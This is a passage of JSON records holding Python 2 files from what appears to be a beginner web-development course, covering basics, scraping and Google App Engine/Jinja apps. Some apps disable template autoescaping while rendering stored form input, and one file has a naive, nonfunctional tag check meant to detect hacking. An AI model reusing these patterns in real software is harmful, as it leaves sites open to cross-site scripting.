"text": "import re\n\n\neingabe = \"<a>dfsfsf</a>\"\neingabe = eingabe.replace(\"/</g\", \"<\").replace(\"/>/g\", \">\")\nfindings = re.findall(\"<(\\w+)>\", eingabe)\n\nfor found in findings:\n print found\n\nif findings:\n print \"somebody tried to hack\"\n print eingabe\nelse:\n print \"Save to publish\"\n print eingabe"
},
{
"alpha_fraction": 0.6283186078071594,
"alphanum_fraction": 0.6438053250312805,
"avg_line_length": 31.214284896850586,
"blob_id": "35bbc7eba7f3649c6a60df652a08dfed7b9aac79",
"content_id": "0a6a638428d8c1f8fe5f4219576ff2365b4d3334",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 452,
"license_type": "no_license",
"max_line_length": 58,
"num_lines": 14,
"path": "/python_00600_webscrapen/example_01720_scraping_scrape_links.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "import urllib2\nimport BeautifulSoup as BS\n\nif __name__ == '__main__':\n url = 'https://scrapebook22.appspot.com'\n response = urllib2.urlopen(url).read()\n soup = BS.BeautifulSoup(response)\n\n links = soup.table.findAll(\"a\")\n for link in links:\n subpage_link = url + link[\"href\"]\n subresponse = urllib2.urlopen(subpage_link).read()\n subsoup = BS.BeautifulSoup(subresponse)\n print subsoup.findAll(\"h1\")[1].string\n\n"
},
{
"alpha_fraction": 0.6009280681610107,
"alphanum_fraction": 0.6078886389732361,
"avg_line_length": 36.4782600402832,
"blob_id": "9b6082484a68dacbfaa60a47e22e7e641830d5b2",
"content_id": "5d4ce1f9786d53da23035c7660c2a2dcbd74fcb5",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 862,
"license_type": "no_license",
"max_line_length": 87,
"num_lines": 23,
"path": "/python_00600_webscrapen/example_01760_scraping_age.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "import urllib2\nimport BeautifulSoup as BS\nimport re # regular expression\n\n\nif __name__ == '__main__':\n url = 'https://scrapebook22.appspot.com'\n response = urllib2.urlopen(url).read()\n soup = BS.BeautifulSoup(response)\n\n links = soup.table.findAll(\"a\")\n for link in links:\n subpage_link = url + link[\"href\"]\n subresponse = urllib2.urlopen(subpage_link).read()\n subsoup = BS.BeautifulSoup(subresponse)\n email = subsoup.find(\"span\", attrs={\"class\": \"email\"}).string\n gender = subsoup.find(\"span\", attrs={\"data-gender\": True}).string\n city = subsoup.find(\"span\", attrs={\"data-city\": True}).string\n\n age_text = subsoup.ul.find(\"li\", text=re.compile(\"(Age)\"))\n age = re.findall(r\"(\\d+)\", age_text)[0]\n\n print \"email: {}, gender: {}, city: {}, age: {}\".format(email,gender,city, age)\n"
},
{
"alpha_fraction": 0.6012396812438965,
"alphanum_fraction": 0.6074380278587341,
"avg_line_length": 25.88888931274414,
"blob_id": "77082ce7002b1ed3337c66c5e691f56a7494a025",
"content_id": "ba0bd5a2704e39a95b1b4931208a35383f685a1c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 484,
"license_type": "no_license",
"max_line_length": 85,
"num_lines": 18,
"path": "/python_00200_inputs_loops_lists_dicts/python_00200_inputs_loops_lists_dicts/example_00630_secret_number_exercise_1.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# Modify the secret number game code below such, that it shows the number of attempts\n# after each failed attempt\n\nsecret = 7\nguess = None\ncount = 0\n\nwhile True:\n guess = raw_input(\"Guess the secret number: \")\n guess = int(guess)\n count += 1\n if guess == secret:\n print \"Oh, so great!, you won!\"\n print \"You guessed \" + str(count) + \" times.\"\n break\n else:\n print \"Oh no, please try again.\"\n print \"You guessed \" + str(count) + \" times.\"\n"
},
{
"alpha_fraction": 0.5396039485931396,
"alphanum_fraction": 0.6089109182357788,
"avg_line_length": 14.538461685180664,
"blob_id": "99df9f74f8d72da39bf7bfa1e7e5d248dca67cee",
"content_id": "12db17f78ec5a947efb4fa91cf1d27054ba5610e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 202,
"license_type": "no_license",
"max_line_length": 56,
"num_lines": 13,
"path": "/python_00200_inputs_loops_lists_dicts/python_00200_inputs_loops_lists_dicts/example_00910_list_create_reference.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "a_list = []\n\n# index 0 1 2 3\nb_list = [1, 2, 3, 4]\nprint a_list\nprint b_list\n\n# reference\n# print a_list[0] # IndexError, because has no elements\n\nprint b_list[1] # 2\nb_list[1] = 10\nprint b_list\n"
},
{
"alpha_fraction": 0.6824644804000854,
"alphanum_fraction": 0.7251184582710266,
"avg_line_length": 29.14285659790039,
"blob_id": "8677e778cf45f6e54bd62a13dee7f0e85fdc2ae3",
"content_id": "8a9c7d3a14ad724ae3ed097c3c12dca7c7acef00",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 211,
"license_type": "no_license",
"max_line_length": 62,
"num_lines": 7,
"path": "/python_00400_functions/example_01400_imports_without_guard.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "from example_01400_math_func_src_without_guard import addition\n\n# file names should not start with digits\n\n# guard, protection from being executed on import\nif __name__ == '__main__':\n print addition(10, 23)\n"
},
{
"alpha_fraction": 0.6000000238418579,
"alphanum_fraction": 0.6159090995788574,
"avg_line_length": 14.714285850524902,
"blob_id": "f50ee3e4b1f7a75a38345155096535142fe59206",
"content_id": "198f17bd433df2966792f0a3183c12546e3cf8d3",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 440,
"license_type": "no_license",
"max_line_length": 56,
"num_lines": 28,
"path": "/Python/tests.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# from calculations import numbers_sum\n#\n#\n# def test_numbers_sum():\n# assert numbers_sum(2, 3) == 5\n# return \"testing_numbers_sum() passed successfully\"\n#\n# print test_numbers_sum()\n\n\ndef cube(number):\n number *= (number * number)\n return number\n\n\ndef by_three(number):\n if number % 3:\n result = cube(number)\n return result\n else:\n return False\n\n\ngood = by_three(3)\nprint good\n\nra = 3 % 3\nprint ra\n"
},
{
"alpha_fraction": 0.6275861859321594,
"alphanum_fraction": 0.634482741355896,
"avg_line_length": 22.200000762939453,
"blob_id": "c7f7904cb0e5e854f472b28a2eda013a34abc187",
"content_id": "4e5bfbfe96c56c4fdf70447379fd90dfece9ed46",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 580,
"license_type": "no_license",
"max_line_length": 62,
"num_lines": 25,
"path": "/python_00600_webscrapen/example_01780_scrape_orf.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# coding=utf-8\nfrom urllib2 import urlopen\nimport BeautifulSoup as BS\nimport random\n\nif __name__ == '__main__':\n url = \"https://orf.at/\"\n content = urlopen(url).read()\n\n soup = BS.BeautifulSoup(content)\n\n grid_news = soup.find(\"div\", attrs={\"class\": \"grid news\"})\n\n headers = grid_news.findAll(\"h1\")\n\n news_list = []\n\n for headertag in headers:\n news_list.append(headertag.string)\n\n print(news_list)\n my_news = random.choice(news_list)\n my_important_news = random.sample(news_list, 3)\n print()\n print(\"Please Read: \", my_important_news)\n"
},
{
"alpha_fraction": 0.7254902124404907,
"alphanum_fraction": 0.7516340017318726,
"avg_line_length": 24.5,
"blob_id": "3d9d939b06b6a058ba18dbe6d4aef0d9d0ab787a",
"content_id": "aab98278704eff2e2a48648649bbd82193ed2a00",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 153,
"license_type": "no_license",
"max_line_length": 69,
"num_lines": 6,
"path": "/python_00400_functions/hw_lottery_numbers_solutions.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "import random\n# write a function which generates lottery numbers and returns a list\n\n\ndef lottery_generator():\n return random.sample(range(1, 50), 6)\n"
},
{
"alpha_fraction": 0.6418918967247009,
"alphanum_fraction": 0.6418918967247009,
"avg_line_length": 17.5,
"blob_id": "bf8eecc71bcc3a2d2227445a7c6806b6d48a2805",
"content_id": "fa51d03300b252b0fa12b899fbc9b98ec4783e82",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 148,
"license_type": "no_license",
"max_line_length": 39,
"num_lines": 8,
"path": "/python_00300_files_jsons_dicts/example_json.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "import json\n\nfruits = [\"mango\", \"papaya\", \"lemon\"]\n\nprint(json.dumps(fruits))\n\nwith open(\"fruits.json\", \"w\") as f_out:\n json.dump(fruits, f_out)\n"
},
{
"alpha_fraction": 0.6513761281967163,
"alphanum_fraction": 0.6697247624397278,
"avg_line_length": 26.25,
"blob_id": "22670257cf624923c9777bf5cba6a054db526f91",
"content_id": "ed24cb447a99429e1f0535d0dd291ceb14986433",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 218,
"license_type": "no_license",
"max_line_length": 45,
"num_lines": 8,
"path": "/python_00600_webscrapen/example_01710_scraping_beautifulsoup.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "import urllib2\nimport BeautifulSoup as BS\n\nif __name__ == '__main__':\n url = 'https://scrapebook22.appspot.com/'\n response = urllib2.urlopen(url).read()\n soup = BS.BeautifulSoup(response)\n print soup.table\n"
},
{
"alpha_fraction": 0.5687500238418579,
"alphanum_fraction": 0.59375,
"avg_line_length": 11,
"blob_id": "fb547a9e4328f323a664790198484378c5bc28df",
"content_id": "cb9241f7125878ae3ad229164e5c300347939876",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 160,
"license_type": "no_license",
"max_line_length": 31,
"num_lines": 12,
"path": "/python_00100_datatypes_calculator/example_00210_operations_integers_with_variables.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "brot = 1 # integer\r\nwein = 2.5 # float\r\n\r\nergebnis = brot + wein\r\n\r\nprint ergebnis\r\n\r\n# kommentar\r\n\r\nmittelwert = (brot + wein) / 2.\r\n\r\nprint mittelwert\r\n\r\n\r\n"
},
{
"alpha_fraction": 0.46973365545272827,
"alphanum_fraction": 0.48184019327163696,
"avg_line_length": 20.83333396911621,
"blob_id": "9aafc79a69b545bb174700f43d6e30d3324637d7",
"content_id": "2fba7b93293a397e66f770c97f455ade08303754",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 413,
"license_type": "no_license",
"max_line_length": 39,
"num_lines": 18,
"path": "/python_00100_datatypes_calculator/example_00410_not.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "print not True # False\r\nprint(not True) # False\r\nprint(not False) # True\r\nprint not(True and False) # True\r\n\r\n\r\nis_waiting = True\r\n\r\nprint not is_waiting # False\r\n\r\nprint not(1>100) # True\r\n\r\nprint 1 is None # False\r\nprint is_waiting is not None # True\r\n\r\ndummy = None\r\n\r\nprint dummy is None # True\r\n\r\n"
},
{
"alpha_fraction": 0.6246334314346313,
"alphanum_fraction": 0.6322580575942993,
"avg_line_length": 26.5,
"blob_id": "4470212ed84e401f421737167828f4f74389bc46",
"content_id": "d1015a12f22c600ab45cfc20274430a84076723f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1705,
"license_type": "no_license",
"max_line_length": 94,
"num_lines": 62,
"path": "/WD1-GAE/gae_00200__jinja_parameters__if/example_00510_jinja_if_exercise_solution/main.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n# coding=utf-8\nimport os\nimport jinja2\nimport webapp2\n\n\ntemplate_dir = os.path.join(os.path.dirname(__file__), \"templates\")\njinja_env = jinja2.Environment(loader=jinja2.FileSystemLoader(template_dir), autoescape=False)\n\n\nclass BaseHandler(webapp2.RequestHandler):\n\n def write(self, *a, **kw):\n return self.response.out.write(*a, **kw)\n\n def render_str(self, template, **params):\n t = jinja_env.get_template(template)\n return t.render(params)\n\n def render(self, template, **kw):\n return self.write(self.render_str(template, **kw))\n\n def render_template(self, view_filename, params=None):\n if not params:\n params = {}\n template = jinja_env.get_template(view_filename)\n return self.response.out.write(template.render(params))\n\n\nclass MainHandler(BaseHandler):\n def get(self):\n name = \"Obama\"\n return self.render_template(\"main.html\", params={\"name\": name})\n\n\n# Exercise Task: Gratulate to your pension\n# Route to /gratulation\n# View: prepare html template with\n# placeholders:\n# - name\n# - age\n# if statement:\n# for age > 70, it should show: Congrats to your pension\n# else: Sorry you still have to work\n# Don't forget the handler, which passes:\n# - name\n# - age\n\n\nclass GratulationHandler(BaseHandler):\n def get(self):\n name = \"Patrick\"\n alter = 31\n return self.render_template(\"gratulation.html\", params={\"name\": name,\n \"alter\": alter})\n\n\napp = webapp2.WSGIApplication([\n webapp2.Route('/', MainHandler),\n webapp2.Route('/gratulation', GratulationHandler),\n], debug=True)\n"
},
{
"alpha_fraction": 0.556291401386261,
"alphanum_fraction": 0.5894039869308472,
"avg_line_length": 14.100000381469727,
"blob_id": "b4df08f4df4713e16d2cd69440ea79a74e5f0655",
"content_id": "acfdaee02d4a5478b229b6f9eb639bee18aed22f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 151,
"license_type": "no_license",
"max_line_length": 27,
"num_lines": 10,
"path": "/python_00400_functions/example_01500_random_library.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "import random\nimport time\n\ncounter = 0\nwhile True:\n counter += 1\n if random.random()<0.5:\n print(counter)\n else:\n time.sleep(1)\n"
},
{
"alpha_fraction": 0.6282894611358643,
"alphanum_fraction": 0.6842105388641357,
"avg_line_length": 22.384614944458008,
"blob_id": "0ff8b53a7675b1c7d0458420b354146393c46719",
"content_id": "32c3d07912d64e93b82615cb94a7c9f7b4027897",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 304,
"license_type": "no_license",
"max_line_length": 64,
"num_lines": 13,
"path": "/python_00200_inputs_loops_lists_dicts/python_00200_inputs_loops_lists_dicts/example_00600_while_loop.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "import time\nimport datetime\n\nelapsed = datetime.datetime.now()-datetime.datetime(1993, 4, 7)\nprint(elapsed.total_seconds())\nwhile True:\n time.sleep(1)\n print \"date today\"\n print \"time now\"\n print \"time now:\",\n print \"running\", time.time() # seconds since 1970,1,1,00:00\n\nprint \"finished\"\n"
},
{
"alpha_fraction": 0.6349614262580872,
"alphanum_fraction": 0.6503856182098389,
"avg_line_length": 34.3636360168457,
"blob_id": "a165eaa673eb38b1e0a3e434d6292daf5066cecc",
"content_id": "01f0ece745842fd47d0e789c61f232b94a433864",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 389,
"license_type": "no_license",
"max_line_length": 93,
"num_lines": 11,
"path": "/python_00200_inputs_loops_lists_dicts/python_00200_inputs_loops_lists_dicts/example_00930_list_slice_exercise_2_solution____advanced____.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# There is a new diet called, eat 50%\n# Your daily course consists of\n# [\"bread\", \"butter\", \"honey\", \"salad\", \"icecream\", \"humus\", \"cake\", \"coffee\"]\n# print the list with only taking every second item on your course\nstuff = [\"bread\", \"butter\", \"honey\", \"salad\", \"icecream\", \"humus\", \"cake\", \"coffee\", \"candy\"]\nprint stuff[::2]\nprint stuff[1::2]\n\n\n# reverse your name\nprint \"Patrick\"[::-1]\n"
},
{
"alpha_fraction": 0.6586102843284607,
"alphanum_fraction": 0.712990939617157,
"avg_line_length": 26.58333396911621,
"blob_id": "78b8830b2bbd687e69ec6156442c45c9c384ecf9",
"content_id": "f4571c6a80c53c6c4ade5540d186ec5090922344",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 331,
"license_type": "no_license",
"max_line_length": 66,
"num_lines": 12,
"path": "/python_00300_files_jsons_dicts/example_01110_dictionaries_create_reference_exercise_solution.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# shoppinglist with prices\n# \"bread\", 100\n# \"butter\", 90\n# \"avocado\", 10\n# create a dictionary with the food as key, and the price as value\nshoppinglist = {\"bread\": 100, \"butter\": 90, \"avocado\": 10}\nprint shoppinglist\n\n# now add \"salad\" with the price: 60\n# print the new shoppinglist\nshoppinglist[\"salad\"] = 60\nprint shoppinglist\n"
},
{
"alpha_fraction": 0.4935622215270996,
"alphanum_fraction": 0.557939887046814,
"avg_line_length": 15.642857551574707,
"blob_id": "61e6b150485890d4c5b7e902dccedf856366042c",
"content_id": "987f056da81efffac4b64b2ff1ec5e1af3396729",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 233,
"license_type": "no_license",
"max_line_length": 28,
"num_lines": 14,
"path": "/python_00300_files_jsons_dicts/example_01110_dictionaries_create_reference.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "a_dict = {}\npoints = {\"alfred\": 10,\n \"bettina\": 100,\n \"christian\": 50,\n \"doris\": 75}\n\n# reference\nprint points[\"alfred\"] # 10\n\n# change\npoints[\"alfred\"] = 30\nprint points\npoints[\"franz\"] = 40\nprint points\n"
},
{
"alpha_fraction": 0.6628895401954651,
"alphanum_fraction": 0.6883852481842041,
"avg_line_length": 22.53333282470703,
"blob_id": "794d91738550e779ef9ac7d67b0f187dd18ae483",
"content_id": "a5a4ce3289e4a82b40f53e85bf11d56b571b74e3",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 353,
"license_type": "no_license",
"max_line_length": 46,
"num_lines": 15,
"path": "/python_00500_classes/example_01610_classes_instances_exercise_solutions.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "class Robot(object):\n def __init__(self, model, mission):\n self.model = model\n self.mission = mission\n\n# create 1 instance of Robot\n# give it a the model \"HAL9000\"\n# give it the mission \"protect humans\"\n# print its model\n# print its mission\n\n\nhal_robot = Robot(\"HAL9000\", \"protect humans\")\nprint hal_robot.model\nprint hal_robot.mission\n"
},
{
"alpha_fraction": 0.5331125855445862,
"alphanum_fraction": 0.5993377566337585,
"avg_line_length": 20.571428298950195,
"blob_id": "503f844dee11cf8a91af0478fa32bfa2f2b866c1",
"content_id": "86a7bfe850e7b159a5685761f917930f80adcd7f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 302,
"license_type": "no_license",
"max_line_length": 46,
"num_lines": 14,
"path": "/python_00400_functions/example_01431_tdd_create_empty_function.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# Step 2:\n# add an empty function, which fails the tests\n\ndef check_addition():\n assert addition(10, 20) == 30\n assert addition(10, -10) == 0\n assert addition(10.12, -2) == 8.12\n\ndef addition(a,b):\n return a + b\n\nif __name__ == '__main__':\n check_addition()\n print \"Passed all tests\"\n"
},
{
"alpha_fraction": 0.694915235042572,
"alphanum_fraction": 0.7000737190246582,
"avg_line_length": 29.155555725097656,
"blob_id": "3ec3e86aaaaae51d88f0eb6d03605c9b7b7cf236",
"content_id": "da1587a71534b4718c615fef543db64c7ecc33fe",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1357,
"license_type": "no_license",
"max_line_length": 94,
"num_lines": 45,
"path": "/WD1-GAE/gae_00300__jinja_post__extend_blocks/example_00720_secret_number_exercise/main.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\nimport os\nimport random\n\nimport jinja2\nimport webapp2\n\ntemplate_dir = os.path.join(os.path.dirname(__file__), \"templates\")\njinja_env = jinja2.Environment(loader=jinja2.FileSystemLoader(template_dir), autoescape=False)\n\n\nclass BaseHandler(webapp2.RequestHandler):\n\n def write(self, *a, **kw):\n return self.response.out.write(*a, **kw)\n\n def render_str(self, template, **params):\n t = jinja_env.get_template(template)\n return t.render(params)\n\n def render(self, template, **kw):\n return self.write(self.render_str(template, **kw))\n\n def render_template(self, view_filename, params=None):\n if not params:\n params = {}\n template = jinja_env.get_template(view_filename)\n return self.response.out.write(template.render(params))\n\n\n# Exercise Task:\n# Create a Secret Number Game in the browser\n# The Handler class creates a random number on generation (ask trainer for help if needed)\n# users can input a number by using a post request\n# handlers should compare the inputted number with the secret number\n# use jinja if, to control what part of html is shown, to congratulate or not.\n\nclass MainHandler(BaseHandler):\n def get(self):\n return self.render_template(\"main.html\")\n\n\napp = webapp2.WSGIApplication([\n webapp2.Route('/', MainHandler),\n], debug=True)\n"
},
{
"alpha_fraction": 0.7661097645759583,
"alphanum_fraction": 0.7732697129249573,
"avg_line_length": 23.705883026123047,
"blob_id": "2b90da45005bbdc5fb9302cd982e0b78f4d150e7",
"content_id": "e398efd49e4eed79235ec6dd8cf7a03b4bb8b524",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 419,
"license_type": "no_license",
"max_line_length": 52,
"num_lines": 17,
"path": "/python_00500_classes/example_more_advanced_exercises/example_01682_calendar_exercise.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# Teil 1\n# Erstelle einen Kalender mit folgender Eingeschaft:\n# Liste mit Tagen\n# Methode: add -> um Tage hinzuzufuegen\n\n\n# Teil 2\n# Erstelle Tage mit folgender Eigenschaft:\n# kalendertag und eintrag\n# Methdode: add_eintrag\n\n# Teil 3\n# erstelle eine Instanz von Kalender\n# erstelle eine Instanz von Tag\n# erstelle einen Eintrag zum Tag\n# gebe den Tag zum Kalender hinzu\n# Zeige das Resultat durch entsprechendes printen"
},
{
"alpha_fraction": 0.38053098320961,
"alphanum_fraction": 0.6106194853782654,
"avg_line_length": 16.16666603088379,
"blob_id": "ef8c225fb866a1e69b3246decf012773c3c58eb4",
"content_id": "17726a1a444fedd5d10f7f99ab1c0ce38599e4d6",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 113,
"license_type": "no_license",
"max_line_length": 32,
"num_lines": 6,
"path": "/python_00100_datatypes_calculator/example_00200_operations_integers_exercise_solution.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# add the numbers 100, 120, 130\r\nprint 100 + 120 + 130\r\n\r\n\r\n# check if 123 is divisible by 3\r\nprint 123 % 3\r\n\r\n\r\n"
},
{
"alpha_fraction": 0.5,
"alphanum_fraction": 0.5666666626930237,
"avg_line_length": 14,
"blob_id": "ac4c7d33c0b91fb236c029e2ef250ec16316b565",
"content_id": "44334b2037a4687535c22ebce24ad8fe3d9fa0c8",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 60,
"license_type": "no_license",
"max_line_length": 21,
"num_lines": 4,
"path": "/python_00200_inputs_loops_lists_dicts/python_00200_inputs_loops_lists_dicts/example_00900_list_create.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "a_list = []\nb_list = [1, 2, 3, 4]\nprint a_list\nprint b_list\n"
},
{
"alpha_fraction": 0.6417526006698608,
"alphanum_fraction": 0.6417526006698608,
"avg_line_length": 26.714284896850586,
"blob_id": "04c5bafd37c7b39418052b1c687a5093a960c875",
"content_id": "48da356a5e648b2b2219c1a0bf85f82976819997",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 388,
"license_type": "no_license",
"max_line_length": 54,
"num_lines": 14,
"path": "/python_00600_webscrapen/example_01700_beautifulsoup.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "import BeautifulSoup as BS\n\nif __name__ == '__main__':\n # read example html file\n with open(\"example.html\", \"r\") as html_file:\n html_content = html_file.read()\n\n # turn it into a soup\n soup = BS.BeautifulSoup(html_content)\n\n # print parts of the html\n print soup.title, type(soup.title)\n print soup.title.string, type(soup.title.string)\n print soup.table\n"
},
{
"alpha_fraction": 0.639401912689209,
"alphanum_fraction": 0.6534740328788757,
"avg_line_length": 24.266666412353516,
"blob_id": "ab5953ff1a74002495f23edeb26a7d4cdb3cc0df",
"content_id": "94ab8ce210c1ef644d76f426e64ebc83c88b47a3",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1137,
"license_type": "no_license",
"max_line_length": 67,
"num_lines": 45,
"path": "/python_00500_classes/example_01620_classes_methods_exercise_solutions_tdd____advanced____.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# Read the 2 exercises.\n# If you can develop the functionality with test driven development\n#\n# Part 1)\n# add 2 methods to the class Car:\n# a) decrease energy, this method decreases the battery status by 1\n# b) increase energy, this method increases the battery status by 1\n# Part 2)\n# create an instance of Car\n# demonstrate the functioning of the methods\n# by always printing the battery status after applying the methods\n\n# TEST DRIVEN SOLUTION\n\n\nclass Car(object):\n def __init__(self):\n self.battery_status = 100\n\n def decrease_energy(self):\n self.battery_status -= 1\n\n def increase_energy(self):\n self.battery_status += 1\n\n\nclass TestCar():\n def test_decrease_energy(self):\n test_car = Car()\n test_car.decrease_energy()\n assert test_car.battery_status == 99\n\n def test_increase_energy(self):\n test_car = Car()\n test_car.increase_energy()\n assert test_car.battery_status == 101\n\n def test(self):\n self.test_decrease_energy()\n self.test_increase_energy()\n print(\"All tests passed\")\n\n\nif __name__ == '__main__':\n TestCar().test()\n"
},
{
"alpha_fraction": 0.5132450461387634,
"alphanum_fraction": 0.5132450461387634,
"avg_line_length": 20.571428298950195,
"blob_id": "2d9e862a18a67718fb7b1484ebb494bd1c4e59c8",
"content_id": "d74ee38dae29feb0272a8167982993a7d2769ec6",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 302,
"license_type": "no_license",
"max_line_length": 55,
"num_lines": 14,
"path": "/python_00400_functions/example_01380_functions_get_input.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "def get_yes_no_answer():\n while True:\n answer = raw_input(\"yes/no ? \").strip().lower()\n if answer == \"yes\":\n return True\n elif answer == \"no\":\n return False\n else:\n print \"not a valid input\"\n\n\ntrigger = get_yes_no_answer()\n\nprint trigger\n"
},
{
"alpha_fraction": 0.6083915829658508,
"alphanum_fraction": 0.6241258978843689,
"avg_line_length": 17.354839324951172,
"blob_id": "549b9f419e7cec156bdfc16c5b285f753fea9d9d",
"content_id": "b922fc6ccb883bb47dd53c436553f5b1f7359793",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 572,
"license_type": "no_license",
"max_line_length": 86,
"num_lines": 31,
"path": "/python_00400_functions/example_01450_imports_exercise_tdd_solution_tests_and_funcs____advanced____.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "def square_number(x):\n \"\"\"\n\n :param x: number to square\n :type x: int or float\n :return: the squared number\n :rtype: int or float\n \"\"\"\n return x**2\n\n\ndef check_square_number():\n assert square_number(9) == 81\n assert square_number(-3) == 9\n\n\ndef cube_number(x):\n return x**3\n\n\ndef check_cube_number():\n assert cube_number(2)==8\n\n\n# Assignment: Define a Test first, and then write the function which fulfills the test\n\n\nif __name__ == '__main__':\n check_square_number()\n check_cube_number()\n print \"Tests completed successfully\"\n\n\n\n"
},
{
"alpha_fraction": 0.5993310809135437,
"alphanum_fraction": 0.6060200929641724,
"avg_line_length": 29.510204315185547,
"blob_id": "d71bebb12bf27bfabd6da92315c36425aaf8b053",
"content_id": "dfe8002ed848682797a2d1c73a3bf4f88a6321a5",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1495,
"license_type": "no_license",
"max_line_length": 94,
"num_lines": 49,
"path": "/WD1-GAE/gae_00400__models__blog/example_00800_DB_Model__redirect/main.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\nimport os\nimport jinja2\nimport webapp2\nimport models\n\ntemplate_dir = os.path.join(os.path.dirname(__file__), \"templates\")\njinja_env = jinja2.Environment(loader=jinja2.FileSystemLoader(template_dir), autoescape=False)\n\n\nclass BaseHandler(webapp2.RequestHandler):\n def write(self, *a, **kw):\n self.response.out.write(*a, **kw)\n\n def render_str(self, template, **params):\n t = jinja_env.get_template(template)\n return t.render(params)\n\n def render(self, template, **kw):\n self.write(self.render_str(template, **kw))\n\n def render_template(self, view_filename, params=None):\n if not params:\n params = {}\n template = jinja_env.get_template(view_filename)\n self.response.out.write(template.render(params))\n\n\nclass MainHandler(BaseHandler):\n def get(self):\n vehicles = models.Vehicles.query().fetch()\n params = {\"vehicles\": vehicles}\n return self.render_template(\"hello.html\", params=params)\n\n def post(self):\n brand = self.request.get(\"brand\")\n model = self.request.get(\"model\")\n price = self.request.get(\"price\")\n vehicle = models.Vehicles(brand=brand,\n model=model,\n price=price,\n ps=\"100\")\n vehicle.put()\n return self.redirect_to(\"main\")\n\n\napp = webapp2.WSGIApplication([\n webapp2.Route('/', MainHandler, name=\"main\"),\n], debug=True)\n"
},
{
"alpha_fraction": 0.772251307964325,
"alphanum_fraction": 0.772251307964325,
"avg_line_length": 53.57143020629883,
"blob_id": "64dc65b951af50035a9d234d9fda317fbea65b20",
"content_id": "8809fd5fec7a94031dbb721e0a26a4b360b72237",
"detected_licenses": [],
"is_generated": false,
